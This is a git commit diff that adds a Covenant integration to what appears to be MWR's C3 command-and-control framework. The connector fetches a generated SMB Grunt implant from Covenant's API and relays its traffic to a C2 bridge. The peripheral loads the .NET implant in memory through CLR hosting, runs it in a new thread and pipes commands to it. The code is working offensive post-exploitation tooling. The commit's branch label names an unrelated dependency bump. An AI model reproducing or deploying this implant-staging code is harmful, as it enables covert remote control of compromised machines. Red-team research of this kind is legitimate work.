initial commit

dependabot/npm_and_yarn/Src/WebController/UI/websocket-extensions-0.1.4
tim.carrington 2019-11-04 11:38:59 +00:00
parent 08c3087aa7
commit b29fd34656
7 changed files with 955 additions and 5 deletions

View File

@ -0,0 +1,512 @@
#include "StdAfx.h"
#include "Common/MWR/Sockets/SocketsException.h"
#include "Common/json/json.hpp"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
#include "Common/MWR/Crypto/Base64.h"
using json = nlohmann::json;
namespace MWR::C3::Interfaces::Connectors
{
/// A class representing communication with Covenant.
struct Covenant : Connector<Covenant>
{
/// Public constructor.
/// @param arguments factory arguments.
Covenant(ByteView arguments);
/// A public destructor.
~Covenant();
/// OnCommandFromConnector callback implementation.
/// @param binderId Identifier of Peripheral who sends the Command.
/// @param command full Command with arguments.
void OnCommandFromBinder(ByteView binderId, ByteView command) override;
/// Processes internal (C3 API) Command.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
/// Called every time new implant is being created.
/// @param connectionId adders of Grunt in C3 network .
/// @param data parameters used to create implant. If payload is empty, new one will be generated.
/// @param isX64 indicates if relay staging beacon is x64.
/// @returns ByteVector correct command that will be used to stage beacon.
ByteVector PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64) override;
/// Return json with commands.
/// @return ByteView Commands description in JSON format.
static ByteView GetCapability();
private:
/// Represents a single C3 <-> Covenant connection, as well as each Grunt in network.
struct Connection
{
/// Constructor.
/// @param listeningPostAddress adders of Bridge.
/// @param listeningPostPort port of Bridge.
/// @param owner weak pointer to Covenant class.
/// @param id id used to address Grunt.
Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id = ""sv);
/// Destructor.
~Connection();
/// Sends data directly to Covenant.
/// @param data buffer containing blob to send.
/// @remarks throws MWR::WinSocketsException on WinSockets error.
void Send(ByteView data);
/// Creates the receiving thread.
/// As long as connection is alive detached thread will pull available data Covenant.
void StartUpdatingInSeparateThread();
/// Reads data from Socket.
/// @return heartbeat read data.
ByteVector Receive();
/// Indicates that receiving thread was already started.
/// @returns true if receiving thread was started, false otherwise.
bool SecondThreadStarted();
private:
/// Pointer to TeamServer instance.
std::weak_ptr<Covenant> m_Owner;
/// A socket object used in communication with the Bridge listener.
SOCKET m_Socket;
/// RouteID in binary form. Address of beacon in network.
ByteVector m_Id;
/// Indicates that receiving thread was already started.
bool m_SecondThreadStarted = false;
};
/// Retrieves grunt payload from Covenant using the API.
/// @param binderId address of beacon in network.
/// @param pipename name of pipe hosted by the SMB Grunt.
/// @param delay number of seconds for SMB grunt to block for
/// @param jitter percent to jitter the delay by
/// @param listenerId the id of the Bridge listener for covenant
/// @return generated payload.
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId);
/// Close desired connection
/// @arguments arguments for command. connection Id in string form.
/// @returns ByteVector empty vector.
MWR::ByteVector CloseConnection(ByteView arguments);
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
/// @return value forwarded from WSAStartup call (zero if successful).
static int InitializeSockets();
/// Deinitializes Sockets library.
/// @return true if successful, otherwise WSAGetLastError might be called to retrieve specific error number.
static bool DeinitializeSockets();
/// IP Address of Bridge Listener.
std::string m_ListeningPostAddress;
/// Port of Bridge Listener.
uint16_t m_ListeningPostPort;
///Covenant host for web API
std::string m_webHost;
///Covenant username
std::string m_username;
///Covenant password
std::string m_password;
///API token, generated on logon.
std::string m_token;
/// Access mutex for m_ConnectionMap.
std::mutex m_ConnectionMapAccess;
/// Access mutex for sending data to Covenant.
std::mutex m_SendMutex;
/// Map of all connections.
std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
};
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
{
json postData;
json response;
std::string postDataDump;
std::string binary;
std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
InitializeSockets();
/***Authenticate to Web API ***/
std::string url = this->m_webHost + OBF("/api/users/login");
postData[OBF("username")] = this->m_username;
postData[OBF("password")] = this->m_password;
web::http::client::http_client_config config;
config.set_validate_certificates(false); //Covenant framework is unlikely to have a valid cert.
web::http::client::http_client webClient(utility::conversions::to_string_t(url), config);
web::http::http_request request;
request = web::http::http_request(web::http::methods::POST);
postDataDump = postData.dump();
request.headers().set_content_type(utility::conversions::to_string_t(OBF("application/json")));
request.set_body(utility::conversions::to_string_t(postDataDump));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
web::http::http_response resp = task.get();
if (resp.status_code() == web::http::status_codes::OK)
{
//Get the json response
auto respData = resp.extract_string();
response = json::parse(respData.get());
}
else
throw std::exception(OBF("[Covenant] Error authenticating to web app, HTTP resp: ") + resp.status_code());
//Get the token to be used for all other requests.
if (response[OBF("success")])
this->m_token = response[OBF("covenantToken")].get<std::string>();
else
throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::~Covenant()
{
DeinitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView binderId, ByteView command)
{
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
auto it = m_ConnectionMap.find(binderId);
if (it == m_ConnectionMap.end())
throw std::runtime_error{ OBF("Unknown connection") };
if (!(it->second->SecondThreadStarted()))
it->second->StartUpdatingInSeparateThread();
it->second->Send(command);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int MWR::C3::Interfaces::Connectors::Covenant::InitializeSockets()
{
WSADATA wsaData;
WORD wVersionRequested;
wVersionRequested = MAKEWORD(2, 2);
return WSAStartup(wVersionRequested, &wsaData);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
{
return WSACleanup() == 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId)
{
if (binderId.empty() || pipename.empty())
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
std::string authHeader = OBF("Bearer ") + this->m_token;
std::string contentHeader = OBF("Content-Type: application/json");
std::string postDataDump;
std::string binary;
web::http::client::http_client_config config;
config.set_validate_certificates(false);
web::http::client::http_client webClient(utility::conversions::to_string_t(this->m_webHost + OBF("/api/launchers/binary")), config);
web::http::http_request request;
//The data to create an SMB Grunt
json postData;
postData[OBF("id")] = 0;
postData[OBF("smbPipeName")] = pipename;
postData[OBF("listenerId")] = listenerId;
postData[OBF("outputKind")] = OBF("ConsoleApplication");
postData[OBF("implantTemplateId")] = 2; //for GruntSMB template
postData[OBF("dotNetFrameworkVersion")] = OBF("Net40");
postData[OBF("type")] = OBF("Wmic");
postData[OBF("delay")] = delay;
postData[OBF("jitterPercent")] = jitter;
postData[OBF("connectAttempts")] = 5000;
//First we use a PUT to add our data as the template.
request = web::http::http_request(web::http::methods::PUT);
postDataDump = postData.dump();
try
{
request.headers().set_content_type(utility::conversions::to_string_t("application/json"));
request.set_body(utility::conversions::to_string_t(postDataDump));
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
web::http::http_response resp = task.get();
//If we get 200 OK, then we use a POST to request the generation of the payload. We can reuse the previous data here.
if (resp.status_code() == web::http::status_codes::OK)
{
request.set_method(web::http::methods::POST);
task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
resp = task.get();
auto respData = resp.extract_string();
json resp = json::parse(respData.get());
binary = resp[OBF("base64ILByteString")].get<std::string>(); //Contains the base64 encoded .NET assembly.
}
auto payload = cppcodec::base64_rfc4648::decode(binary);
//Finally connect to the socket.
auto connection = std::make_unique<Connection>(m_ListeningPostAddress, m_ListeningPostPort, std::static_pointer_cast<Covenant>(shared_from_this()), binderId);
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
return payload;
}
catch(std::exception e)
{
throw std::exception(OBF("Error generating payload"));
}
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
{
auto id = arguments.Read<std::string>();
m_ConnectionMap.erase(id);
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
{
// case 0:
// return GeneratePayload(command);
case 1:
return CloseConnection(command);
default:
return AbstractConnector::OnRunCommand(commandCopy);
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
{
return R"(
{
"create":
{
"arguments":
[
{
"type": "ip",
"name": "Address",
"description": "C2Bridge ip address"
},
{
"type": "uint16",
"name": "Port",
"min": 1,
"description": "C2Bridge port"
},
{
"type": "string",
"name": "Covenant Web Host",
"min": 1,
"description": "Host for Covenant - eg https://localhost:7443/"
},
{
"type": "string",
"name": "Username",
"min": 1,
"description": "Username to authenticate"
},
{
"type": "string",
"name": "Password",
"min": 1,
"description": "Password to authenticate"
}
]
},
"commands":
[
{
"name": "Close connection",
"description": "Close socket connection with TeamServer if beacon is not available",
"id": 1,
"arguments":
[
{
"name": "Route Id",
"min": 1,
"description": "Id associated to beacon"
}
]
}
]
}
)";
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id)
: m_Owner(owner)
, m_Id(ByteView{ id })
{
/*** Connect to C2Bridge ***/
sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(listeningPostPort);
switch (InetPtonA(AF_INET, &listeningPostAddress.front(), &client.sin_addr.s_addr)) //< Mod to solve deprecation issue.
{
case 0:
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
case -1:
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
// Attempt to connect.
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } +OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Connection::~Connection()
{
closesocket(m_Socket);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
{
auto owner = m_Owner.lock();
if (!owner)
throw std::runtime_error(OBF("Could not lock pointer to owner "));
std::unique_lock<std::mutex> lock{ owner->m_SendMutex };
//Format the length to match how it is read by Covenant.
DWORD length = static_cast<DWORD>(data.size());
BYTE* bytes = (BYTE*)& length;
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
// Write four bytes indicating the length of the next chunk of data.
if (SOCKET_ERROR == send(m_Socket, (char *)&chunkLength, 4, 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
// Write the chunk to socket.
send(m_Socket, (char *)&data.front(), length, 0);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::Connection::Receive()
{
DWORD chunkLength = 0, bytesRead;
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
if (!bytesRead || !chunkLength)
return {}; //< The connection has been gracefully closed.
//Format the length to match how it is written by Covenant.
BYTE* bytes = (BYTE*)& chunkLength;
DWORD32 len = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
// Read in the result.
ByteVector buffer;
buffer.resize(len);
for (DWORD bytesReadTotal = 0; bytesReadTotal < len; bytesReadTotal += bytesRead)
switch (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&buffer[bytesReadTotal]), len - bytesReadTotal, 0))
{
case 0:
return {}; //< The connection has been gracefully closed.
case SOCKET_ERROR:
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
return buffer;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSeparateThread()
{
m_SecondThreadStarted = true;
std::thread([&]()
{
// Lock pointers.
auto owner = m_Owner.lock();
auto bridge = owner->GetBridge();
while (bridge->IsAlive())
{
try
{
// Read packet and post it to Binder.
if (auto packet = Receive(); !packet.empty())
{
if (packet.size() == 1u && packet[0] == 0u)
Send(packet);
else
bridge->PostCommandToBinder(ByteView{ m_Id }, packet);
}
}
catch (std::exception& e)
{
bridge->Log({ e.what(), LogMessage::Severity::Error });
}
}
}).detach();
}
bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted()
{
return m_SecondThreadStarted;
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
{
auto [pipeName, listenerId, delay, jitter] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId));
}

View File

@ -0,0 +1,271 @@
#include "StdAfx.h"
#include "Grunt.h"
//This function will run the .NET assembly
void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
{
HANDLE hHeap = GetProcessHeap();
HRESULT hr;
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
ICorRuntimeHost* pCorRuntimeHost = NULL;
IUnknownPtr spAppDomainThunk = NULL;
_AppDomainPtr spDefaultAppDomain = NULL;
_AssemblyPtr spAssembly = NULL;
_TypePtr spType = NULL;
_variant_t vtEmpty = NULL;
_variant_t output;
BSTR bstrStaticMethodName = NULL;
BSTR bstrClassName = NULL;
SAFEARRAY* psaTypesArray = NULL;
SAFEARRAY* psaStaticMethodArgs = NULL;
SAFEARRAY* arr = NULL;
PBYTE pbAssemblyIndex = NULL;
PBYTE pbDataIndex = NULL;
long index = 0;
PWSTR wcs = NULL;
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
if (FAILED(hr))
{
goto Cleanup;
}
hr = pMetaHost->GetRuntime(OBF_W(L"v4.0.30319"), IID_PPV_ARGS(&pRuntimeInfo));
if (FAILED(hr))
{
goto Cleanup;
}
BOOL fLoadable;
hr = pRuntimeInfo->IsLoadable(&fLoadable);
if (FAILED(hr))
{
goto Cleanup;
}
if (!fLoadable)
{
goto Cleanup;
}
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&pCorRuntimeHost));
if (FAILED(hr))
{
goto Cleanup;
}
hr = pCorRuntimeHost->Start();
if (FAILED(hr))
{
goto Cleanup;
}
hr = pCorRuntimeHost->CreateDomain(OBF_W(L"AppDomain"), NULL, &spAppDomainThunk);
if (FAILED(hr))
{
goto Cleanup;
}
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
if (FAILED(hr))
{
goto Cleanup;
}
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = assemblyLen;
bounds[0].lLbound = 0;
arr = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(arr);
pbAssemblyIndex = pbAssembly;
pbDataIndex = (PBYTE)arr->pvData;
while (pbAssemblyIndex - pbAssembly < assemblyLen)
* (BYTE*)pbDataIndex++ = *(BYTE*)pbAssemblyIndex++;
SafeArrayUnlock(arr);
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
if (FAILED(hr) || spAssembly == NULL)
{
goto Cleanup;
}
hr = spAssembly->GetTypes(&psaTypesArray);
if (FAILED(hr))
{
goto Cleanup;
}
index = 0;
hr = SafeArrayGetElement(psaTypesArray, &index, &spType);
if (FAILED(hr) || spType == NULL)
{
goto Cleanup;
}
bstrStaticMethodName = SysAllocString(L"Execute");
hr = spType->InvokeMember_3(bstrStaticMethodName, static_cast<BindingFlags>(
BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
NULL, vtEmpty, NULL, &output);
if (FAILED(hr))
{
goto Cleanup;
}
Cleanup:
if (spDefaultAppDomain)
{
pCorRuntimeHost->UnloadDomain(spDefaultAppDomain);
spDefaultAppDomain = NULL;
}
if (pMetaHost)
{
pMetaHost->Release();
pMetaHost = NULL;
}
if (pRuntimeInfo)
{
pRuntimeInfo->Release();
pRuntimeInfo = NULL;
}
if (pCorRuntimeHost)
{
pCorRuntimeHost->Release();
pCorRuntimeHost = NULL;
}
if (psaTypesArray)
{
SafeArrayDestroy(psaTypesArray);
psaTypesArray = NULL;
}
if (psaStaticMethodArgs)
{
SafeArrayDestroy(psaStaticMethodArgs);
psaStaticMethodArgs = NULL;
}
SysFreeString(bstrClassName);
SysFreeString(bstrStaticMethodName);
}
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
{
auto [pipeName, payload] = arguments.Read<std::string, ByteVector>();
BYTE *x = (BYTE *)payload.data();
SIZE_T len = payload.size();
//Setup the arguments to run the .NET assembly in a seperate thread.
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
SEH::gruntArgs args;
args.gruntStager = x;
args.len = len;
args.func = RuntimeV4Host;
// Inject the payload stage into the current process.
if (!CreateThread(NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(SEH::SehWrapperCov), &args, 0, nullptr))
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give Grunt thread time to start pipe.
while(1)
try
{
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
return;
}
catch (std::exception& e)
{
// Sleep between trials.
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
}
return;
}
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
{
// Get access to write when whole read is done.
std::unique_lock<std::mutex> lock{ m_Mutex };
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
// Write to Covenant specific pipe
m_Pipe->WriteCov(data);
// Unlock, and block writing until read is done.
m_ReadingState = true;
lock.unlock();
m_ConditionalVariable.notify_one();
}
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
{
std::unique_lock<std::mutex> lock{ m_Mutex };
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
// Read
auto ret = m_Pipe->ReadCov();
m_ReadingState = false;
lock.unlock();
m_ConditionalVariable.notify_one();
return ret;
}
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
{
return R"(
{
"create":
{
"arguments":
[
{
"type": "string",
"name": "Pipe name",
"min": 4,
"randomize": true,
"description": "Name of the pipe Beacon uses for communication."
},
{
"type": "int32",
"min": 1,
"defaultValue" : 1,
"name": "Listener ID",
"description": "Id of the Bridge Listener in Covenant"
},
{
"type": "int32",
"min": 1,
"defaultValue" : 30,
"name": "Delay",
"description": "Delay"
},
{
"type": "int32",
"min": 0,
"defaultValue" : 30,
"name": "Jitter",
"description": "Jitter"
}
]
},
"commands": []
}
)";
}

View File

@ -0,0 +1,56 @@
#pragma once
#include <optional>
#include <metahost.h>
//For loading of CLR
#pragma comment(lib, "mscoree.lib")
#import "mscorlib.tlb" raw_interfaces_only high_property_prefixes("_get", "_put", "_putref") rename("ReportEvent", "InteropServices_ReportEvent") auto_rename
using namespace mscorlib;
#include "Common/MWR/WinTools/Pipe.h"
/// Forward declaration of Connector associated with implant.
/// Connectors implementation is only available on GateRelay, not NodeRelays.
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
namespace MWR::C3::Interfaces::Connectors { struct Covenant; }
namespace MWR::C3::Interfaces::Peripherals
{
/// Class representing Grunt stager.
struct Grunt : public Peripheral<Grunt, Connectors::Covenant>
{
public:
/// Public constructor.
/// @param arguments view of arguments prepared by Connector.
Grunt(ByteView arguments);
/// Sending callback implementation.
/// @param packet to send to the Implant.
void OnCommandFromConnector(ByteView packet) override;
/// Callback that handles receiving from the outside of the C3 network.
/// @returns ByteVector data received from beacon.
ByteVector OnReceiveFromPeripheral() override;
/// Return json with commands.
/// @return ByteView Commands description in JSON format.
static ByteView GetCapability();
private:
/// Object used to communicate with Grunt.
/// Optional is used to perform many trails of staging in constructor.
/// Must contain object if constructor call was successful.
std::optional<WinTools::AlternatingPipe> m_Pipe;
/// Used to synchronize access to underlying implant.
std::mutex m_Mutex;
/// Used to synchronize read/write.
std::condition_variable m_ConditionalVariable;
/// Used to support beacon chunking data.
bool m_ReadingState = true;
};
}

View File

@ -125,9 +125,19 @@ MWR::ByteVector MWR::WinTools::ReadPipe::Read()
MWR::WinTools::DuplexPipe::DuplexPipe(ByteView inputPipeName, ByteView outputPipeName)
: m_InputPipe(inputPipeName), m_OutputPipe(outputPipeName)
{
}
/* write a frame to a file */
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
WriteFile(my_handle, buffer, length, &wrote, NULL);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::WinTools::DuplexPipe::Read()
{
@ -152,6 +162,39 @@ MWR::WinTools::AlternatingPipe::AlternatingPipe(ByteView pipename)
throw std::runtime_error{ OBF("Couldn't create synchronization event") };
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::WinTools::AlternatingPipe::ReadCov()
{
DWORD temp = 0, total = 0;
if (WaitForSingleObject(m_Event.get(), 0) != WAIT_OBJECT_0)
return{};
//The SMB Grunt writes the size of the chunk in a loop like the below, mimic that here.
BYTE size[4] = { 0 };
int totalReadBytes = 0;
for(int i = 0; i < 4; i++)
ReadFile(m_Pipe.get(), size + i, 1, &temp, NULL);
DWORD32 len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];
ByteVector buffer;
buffer.resize(len);
//Now read the actual data
DWORD read = 0;
temp = 0;
while (total < len) {
bool didRead = ReadFile(m_Pipe.get(), (LPVOID)& buffer[read], len - total, &temp,
NULL);
total += temp;
read += temp;
}
return buffer;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
{
@ -175,6 +218,40 @@ MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
return buffer;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t MWR::WinTools::AlternatingPipe::WriteCov(ByteView data)
{
DWORD written;
int start = 0, size = data.size();
int end = 0;
uint32_t len = static_cast<uint32_t>(data.size());
BYTE* bytes = (BYTE*)& len;
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
//Write the length first
WriteFile(m_Pipe.get(), &chunkLength, 4, nullptr, nullptr);
//We have to write in chunks of 1024, this is mirrored in how the Grunt reads.
const uint8_t* d = &data.front();
while (size > 1024)
{
WriteFile(m_Pipe.get(), d+start, 1024, &written, nullptr);
start += 1024;
size -= 1024;
}
WriteFile(m_Pipe.get(), d + start, size, &written, nullptr);
start += size;
if (start != data.size())
throw std::runtime_error{ OBF("Write pipe failed ") };
// Let Read() know that the pipe is ready to be read.
SetEvent(m_Event.get());
return data.size();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
{
@ -192,3 +269,4 @@ size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
return data.size();
}

View File

@ -19,9 +19,15 @@ namespace MWR::WinTools
/// @throws std::runtime_error on any WinAPI errors occurring during writing to the named pipe.
ByteVector Read();
///Covenant specific implementation of Read
ByteVector ReadCov();
/// Retrieves data from the pipe.
/// @throws std::runtime_error on any WinAPI errors occurring during reading from the named pipe.
size_t Write(ByteView data);
///Covenant specific implementation of Write
size_t WriteCov(ByteView data);
private:
/// Name of the Pipe used to communicate with the implant.
std::string m_PipeName;
@ -107,6 +113,7 @@ namespace MWR::WinTools
/// @throws std::runtime_error if conection was closed from other side during transmision.
ByteVector Read();
/// Connects pipe and writes whole message to pipe.
///
/// @param data to be written.
@ -114,12 +121,12 @@ namespace MWR::WinTools
/// @throws std::runtime_error if data.size() cannot be stored in uint32_t. This condition is highly unlikly in normal use.
/// @throws std::runtime_error if conection was closed from other side during transmision.
size_t Write(ByteView data);
private:
/// Input pipe.
ReadPipe m_InputPipe;
/// Output pipe.
WritePipe m_OutputPipe;
};
}
}

View File

@ -1,6 +1,7 @@
#include "StdAfx.h"
#include "StructuredExceptionHandling.h"
int MWR::WinTools::StructuredExceptionHandling::Filter(unsigned int code, struct _EXCEPTION_POINTERS* ep)
{
return EXCEPTION_EXECUTE_HANDLER;
@ -20,6 +21,21 @@ DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapper(CodePointer
return 0;
}
DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapperCov(PGRUNTARGS args)
{
__try
{
//this is kind of gross but the only way I could get it to work.
args->func(args->gruntStager, args->len);
}
__except (Filter(GetExceptionCode(), GetExceptionInformation()))
{
// Nothing
}
return 0;
}
void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()> const& func, std::function<void()> const& closure)
{
__try
@ -31,3 +47,4 @@ void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()
closure();
}
}

View File

@ -14,6 +14,14 @@ namespace MWR::WinTools::StructuredExceptionHandling
/// @returns 0.
DWORD WINAPI SehWrapper(CodePointer func);
/// Arguments to be passed to RuntimeV4Host
typedef struct gruntArgs { std::function<void(PBYTE, size_t)> func; PBYTE gruntStager; size_t len; }GRUNTARGS, * PGRUNTARGS;
/// Covenant specific SEH Wrapper
/// @param args a struct containing the arguments for the execution of an SMB grunt in memory.
/// @returns 0
DWORD WINAPI SehWrapperCov(PGRUNTARGS args);
/// Wrap call in SEH handler
/// @param func - function to call
/// @param closure - handler called when func throws SE
@ -23,4 +31,5 @@ namespace MWR::WinTools::StructuredExceptionHandling
namespace MWR::WinTools
{
namespace SEH = StructuredExceptionHandling;
}
}